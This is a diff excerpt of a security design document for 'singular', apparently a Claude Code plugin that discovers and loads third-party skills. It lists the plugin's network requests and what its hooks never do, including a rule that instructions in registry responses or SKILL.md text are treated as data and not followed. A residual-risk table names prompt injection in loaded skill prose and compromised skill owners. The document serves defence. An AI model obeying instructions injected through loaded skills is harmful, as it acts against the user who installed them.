+ | first `/singular load`, `auto` load, `pinnedSkills` load or background prefetch of a ref without a sha | `git ls-remote https://github.com/<owner>/<repo> HEAD` | none |
74
+ | `/singular load`, `auto`, `pinnedSkills`, prefetch (first time per pinned ref) | `npx -y skills@1.5.26 use owner/repo#<sha>@skill` (clones that commit from github.com; text cached forever afterwards) | none |
75
+ | `/singular add` | `git fetch --depth 1` of the pinned commit from github.com, then one audit lookup | none |
76
+
77
+ Nothing else. In `mode: "local"` or `"off"` the per-prompt hook makes **no network requests at all** (`/singular load` and `/singular add` still do, on your command). The `SubagentStart` hook never touches the network (stack detection only). Synthetic prompts (`<task-notification>` after a backgrounded subagent finishes, bare `<system-reminder>` blocks) are skipped entirely, so tech words appearing in a subagent's output are never searched. The log (`$SINGULAR_HOME/singular.log`) records the number of keywords and the shared tech words, never the prompt or the free-form keywords (they are written only with `SINGULAR_DEBUG=1`).
78
+
79
+ Rate limiting: skills.sh answers bursts with HTTP 429. On the first 429 the plugin writes a 5-minute cooldown (cache entry `cooldown:skills.sh`), skips every further request in that window (cached catalogs still rank), and `/singular status` and `/singular find` say `skills.sh rate-limited until HH:MM`. At most 2 requests are in flight at a time. A request that times out or fails on transport is remembered for 5 minutes (`fail:<key>`) and not retried on every prompt; a stale cached copy keeps ranking meanwhile. A `git ls-remote` that hits GitHub's credential prompt (missing or private repository; `GIT_TERMINAL_PROMPT=0` turns it into an error) is reported as `repository not found or private (GitHub asked for credentials)`.
80
+
81
+ ## 6. What the hooks never do
82
+
83
+ - Never rewrite the prompt (the API cannot; `UserPromptSubmit` only adds `additionalContext`).
84
+ - Never install, enable or write anything under `~/.claude/skills`, `~/.claude/plugins`, `~/.claude/settings*.json`. The only files written are under `$SINGULAR_HOME` (default `~/.claude/singular`): `config.json`, `cache/`, `loaded.json`, `installed.json` (bookkeeping for `/singular add`), `singular.log`, `spill-*.md`, `.auto-mode-warned`. `/singular add` is the only path that writes to `~/.claude/skills/<skill>`, and only after the inspection above. The `singular` CLI (`bin/singular-cli.js`, run by you from a terminal, never by a hook) is the only component that writes `~/.claude/singular/plugin/` (the payload copy; `plugin.prev/` is the previous one) and the only one that runs `claude plugin marketplace add|update|remove` and `claude plugin install|update|uninstall singular@singular`; whatever those Claude Code commands record under `~/.claude/plugins` is Claude Code's own bookkeeping, not written by this code. The CLI never edits a settings file, runs every subprocess through `execFile` with an argument array, and stops with exit 1 at the first failed step instead of leaving a half-registered plugin.
85
+ - Never run a shell string. Every subprocess is `execFile` with an argument array (`git ls-remote …`, `git init|remote|fetch|checkout|ls-tree …`, `npx -y skills@<v> use …`), refs validated first, an allowlisted environment (section 4: no inherited `GIT_*`, `npm_config_*`, `NODE_*` or CA variables), `GIT_TERMINAL_PROMPT=0`, `DISABLE_TELEMETRY=1`, `NO_UPDATE_NOTIFIER=1`, stdin closed, hard timeouts with `SIGKILL`, and `cwd`/`TMPDIR` set to a fresh temp directory outside the project that is removed afterwards (the CLI otherwise leaks `$TMPDIR/skills-use-*`).
86
+ - Never follow instructions found in registry responses, audit responses or SKILL.md contents. They are parsed as data with strict regexes on owner/repo/skill/sha/CLI version before any URL or argv is built.
87
+ - Never exceed the hook budget silently: `on-prompt.js` runs inside `totalBudgetMs` (6 s) with a watchdog that flushes the local-only context if the remote phase overruns; the hook timeout in `hooks.json` is 8 s. Claude Code discards hook output past its timeout and shows only a 2 KB preview of anything above 10,000 chars, so a loaded skill body is truncated to fit under 9,500 chars together with the stack and routing lines (`[singular: truncated]` marker, listed under `stripped`); spilling the whole context to `spill-<ts>.md` is a last resort that only fires for oversized routing text.
88
+ - Never block a prompt. `UserPromptSubmit` always exits 0 (also on corrupt stdin, another event name, or an internal error). Only the `/singular load` expansion hook exits 2, and only for a rejected reference, with the reason on stderr; Claude Code then prints `UserPromptExpansion operation blocked by hook:` with that reason, makes no model call, and still exits 0. `SubagentStart` is context-only by contract and also always exits 0.
89
+ - Never forward loaded third-party text to subagents: the `SubagentStart` hook injects the one-line project stack and nothing else (no routing, no candidates, no `/singular load`, `auto` or `pinnedSkills` text).
90
+ - Never resolve or fetch anything inline on the per-prompt hot path in `suggest` mode: HEAD shas come from the cache, and the top candidate's text is fetched by a detached background process (`on-expand.js <ref> --prefetch`, `prefetch: true`) so `/singular load` and a later `auto` prompt are instant.
91
+
92
+ ## 7. Residual risks you accept
93
+
94
+ | Risk | Mitigation available to you |
95
+ | :-- | :-- |
96
+ | Prompt injection in loaded prose | Read the skill (`singular load <ref>` from a terminal, or `node bin/on-expand.js <ref>`, prints exactly what Claude would see) before relying on it; keep `mode: "suggest"`; keep the allowlist short |
97
+ | An allowlisted owner is compromised | Pins mean an already-loaded/installed skill does not change under you; a new suggestion would. `blockedRefs` for an incident; remove the owner from `allowlist` |
98
+ | A persistently installed skill (`/singular add`) is later edited by another tool | singular never touches it again; `installed.json` records the sha you installed so you can diff |
99
+ | skills.sh audit or search is down, throttled or lies | `unknown` status is shown, never hidden; a 429 is reported as a cooldown, not as "no skills exist"; nothing is loaded without your `/singular load` unless you chose `auto` |
100
+ | Hook timeout on a slow network | Output is discarded, the prompt proceeds without context; nothing is retried silently. `remoteTimeoutMs`/`totalBudgetMs` are tunable |
101
+ | Someone with write access to `~/.claude/singular` | They can change your allowlist or mode. That directory has the same trust level as `~/.claude`; a redirected `SINGULAR_HOME` never gets `auto` |
102
+ | A repository's `.claude/settings.json` `env` | Can only lower the mode for that project (see section 4); cannot raise it, redirect state into the repo, or change gates |
103
+ | Tech words from your prompts reach skills.sh | Set `mode: "local"` for a no-network hook; the words sent are listed in section 5, in `--dry-run --verbose` (`shared`) and in `singular.log` (`discover.shared`); piped stdin is part of the prompt, so files piped into `claude -p` can contribute tech words |
104
+ | A suggestion fits loosely (observed: `anthropics/skills@claude-api` for `add a /api/health route`, matched only on `api`) | Nothing is loaded without `/singular load`; `/singular find` shows why it ranked; a strong installed match suppresses discovery entirely |
105
+
106
+ Additional Claude Code settings worth knowing (all opt-in, none required by this plugin): `disableSkillShellExecution` blocks `!`/```` ```! ```` in every skill; `disableAllHooks` disables all hooks including these; `sandbox` and credential deny rules limit what an injected instruction could reach. See `settings-reference` in the Claude Code docs.
107
+
108
+ ## 8. Reporting
109
+
110
+ If you find a way for singular to write outside `$SINGULAR_HOME` and `~/.claude/skills/<skill>` (the latter only via `/singular add`), to run a subprocess with unvalidated input, to send prompt text other than tech-lexicon words to a third party, or to pass unsanitized third-party text to Claude, open an issue with the ref and the command; include `$SINGULAR_HOME/singular.log` lines for the run.